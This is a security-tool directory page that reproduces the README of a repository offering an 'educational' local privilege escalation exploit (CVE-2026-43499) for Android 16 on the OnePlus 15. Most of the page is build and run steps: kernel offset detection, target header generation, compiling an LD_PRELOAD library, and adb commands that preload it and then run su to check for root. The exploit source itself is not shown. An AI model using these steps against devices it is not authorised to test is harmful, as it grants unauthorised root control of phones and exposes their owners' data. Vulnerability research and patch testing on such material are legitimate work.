Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-43499-OnePlus15 — Educational proof-of-concept for Android 16 local privilege escalation on OnePlus 15, featuring kernel offset detection, target generation, and LD_PRELOAD-based exploit build. | Kitploit
Tools/GitHubGitHub/bartixxx32/cve-2026-43499-oneplus15
Android SecurityPrivilege EscalationExploitationMobile SecurityLearning & EducationPayload DevelopmentBinary Exploitation
GitHubbartixxx32/cve-2026-43499-oneplus15

CVE-2026-43499-OnePlus15

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Educational proof-of-concept for Android 16 local privilege escalation on OnePlus 15, featuring kernel offset detection, target generation, and LD_PRELOAD-based exploit build.

View Repository
6351 month agoNot yet reviewed

CVE-2026-43499 — OnePlus 15 LPE (Educational PoC)

WARNING: This repository is provided for educational and research purposes only. No pre-built binaries or releases are distributed. You must build everything from source.

Android 16 local privilege escalation for OnePlus 15.

Fork of x-spy/CVE-2026-43499-popsicle with a kallsyms alignment fix and a verified OnePlus 15 profile.

Profile

Profile contains two physical addresses that must be confirmed from a rooted device running the same firmware:

root@kitploit:~
{
  "p0_phys_offset": "0x80000000",
  "p0_kernel_phys_load": "0xc7800000"
}

Auto-detect with a rooted device:

root@kitploit:~
python3 detect_offset.py

Generate target

Requires Python 3 and llvm-objdump:

root@kitploit:~
python3 generate_target.py \
  --boot boot.img \
  --profile profile_oneplus15.json \
  -o source/src/target.h

Build

root@kitploit:~
make -C source clean preload

If NDK is not automatically detected:

root@kitploit:~
NDK_ROOT=/path/to/android-ndk make -C source clean preload

Output: source/build/bin/preload.so

Run

root@kitploit:~
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell chmod 0644 /data/local/tmp/preload.so
adb shell LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true
adb shell /data/local/tmp/su -c id

Credits

  • x-spy for the original exploit and CVE discovery
Download Tool